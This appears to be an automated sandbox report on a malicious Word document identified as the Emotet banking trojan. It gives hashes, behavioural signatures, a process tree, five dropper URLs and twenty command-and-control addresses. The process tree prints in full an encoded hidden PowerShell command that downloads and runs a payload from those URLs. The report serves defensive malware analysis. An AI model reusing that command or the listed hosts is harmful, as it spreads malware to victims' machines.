Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    110s
  • resource
    win7v191014
  • submitted
    07-12-2019 20:59

Sharing

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General

  • Target

    Docs_c3d6e9cced9f71d25309a2240eb8b182.41.doc

  • Sample

    191207-skr3lb163e

  • SHA256

    819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://newtrendmall.store/01-install/bFNiWnVVI/
exe.dropper

http://scammerreviews.com/wp-admin/DSscXHm/
exe.dropper

http://namisaffron.com/v59rni/ZTuaJanco/
exe.dropper

https://www.oodda.com/wp-admin/de4p2ec3-wj4mghjou-15889/
exe.dropper

https://maxbill.devpace.net/Blog/vl01s-3buqcj-0980773041/

Extracted

Family

emotet

C2

172.90.70.168:443

72.69.99.47:80

24.28.178.71:80

172.105.213.30:80

69.30.205.162:7080

50.63.13.135:8080

192.161.190.171:8080

119.159.150.176:443

98.15.140.226:80

190.189.79.73:80

181.44.166.242:80

198.57.217.170:8080

210.224.65.117:80

82.79.244.92:80

72.27.212.209:8080

212.129.14.27:8080

181.47.235.26:993

182.176.116.139:995

142.93.87.198:8080

190.101.87.170:80
rsa_pubkey.plain

Signatures

  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Modifies registry class 136 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.41.doc"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:1276
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Users\Admin\11.exe
      "C:\Users\Admin\11.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Users\Admin\11.exe
        --47f9ceaa
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EmotetMutantsSpam
        PID:2020
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-1333835286-1054468390-1472936826-787043865-20918172221881988614-2562341841526789034"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2008
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
      PID:1928
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k WerSvcGroup
      1⤵
        PID:364
      • C:\Windows\SysWOW64\acquireinbox.exe
        "C:\Windows\SysWOW64\acquireinbox.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:828
        • C:\Windows\SysWOW64\acquireinbox.exe
          --7e452ae2
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: EmotetMutantsSpam
          PID:1896

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\11.exe
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      • C:\Users\Admin\11.exe
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      • C:\Users\Admin\11.exe
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      • C:\Windows\SysWOW64\acquireinbox.exe
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      • C:\Windows\SysWOW64\acquireinbox.exe
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      • memory/828-14-0x0000000000260000-0x0000000000277000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1276-5-0x0000000006410000-0x0000000006414000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1276-3-0x0000000009100000-0x0000000009104000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1276-4-0x0000000006410000-0x0000000006414000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1276-2-0x0000000006410000-0x0000000006414000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1276-1-0x0000000006233000-0x00000000062DC000-memory.dmp

        Filesize

        676KB

        Download

      • memory/1276-0-0x00000000061F0000-0x00000000061F4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1896-17-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

        Download

      • memory/1896-16-0x0000000000310000-0x0000000000327000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1944-8-0x00000000005E0000-0x00000000005F7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2020-12-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

        Download

      • memory/2020-11-0x0000000000270000-0x0000000000287000-memory.dmp

        Filesize

        92KB

        Download